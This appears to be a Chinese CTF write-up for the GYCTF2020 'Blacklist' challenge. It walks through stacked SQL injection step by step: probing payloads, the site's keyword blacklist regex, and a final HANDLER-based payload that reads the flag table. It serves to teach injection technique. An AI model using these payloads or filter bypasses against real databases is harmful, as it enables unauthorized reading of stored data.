[GYCTF2020]Blacklist(堆叠注入)
目录
信息收集
堆叠注入
payload
总结
信息收集
观察url变化是get请求的SQL注入题目
判断注入类型
1和1"回显一样
1'回显报错
1' or 1=1#
array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(2) { [0]=> string(1) "2" [1]=> string(12) "miaomiaomiao" } array(2) { [0]=> string(6) "114514" [1]=> string(2) "ys" }
猜测SQL语句为
select * from tablename where user ='{inject}';
判断列数
1' order by 3#
error 1054 : Unknown column '3' in 'order clause'一共2列
判断回显
-1' union select 1,2,3#
回显出过滤规则
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
select被过滤了,.也被过过滤了(这里的\是单个匹配),根据以往经验这种题目可能是延时,或者堆叠注入
我们先尝试最方便的堆叠注入
堆叠注入
1';show databases;#
1'; show tables;#
猜测flag可能在flaghere这个表里面
1'; show columns from FlagHere;#
flag应该在 表FlagHere的“flag”列里面
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
这里set被禁用,因此无法使用预处理进行语句编写,也禁用了rename语句,因此不能改名来直接通过id读取
我们可以使用之前用过的handler函数进行读取
payload
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
拿到flag
总结
这个题目的解法和之前做过的[强网杯 2019]随便注比较相似,都是堆叠注入的考点,不过过滤了它的前两种做法使用的函数,使得我们只能通过第三种方法handler函数进行读取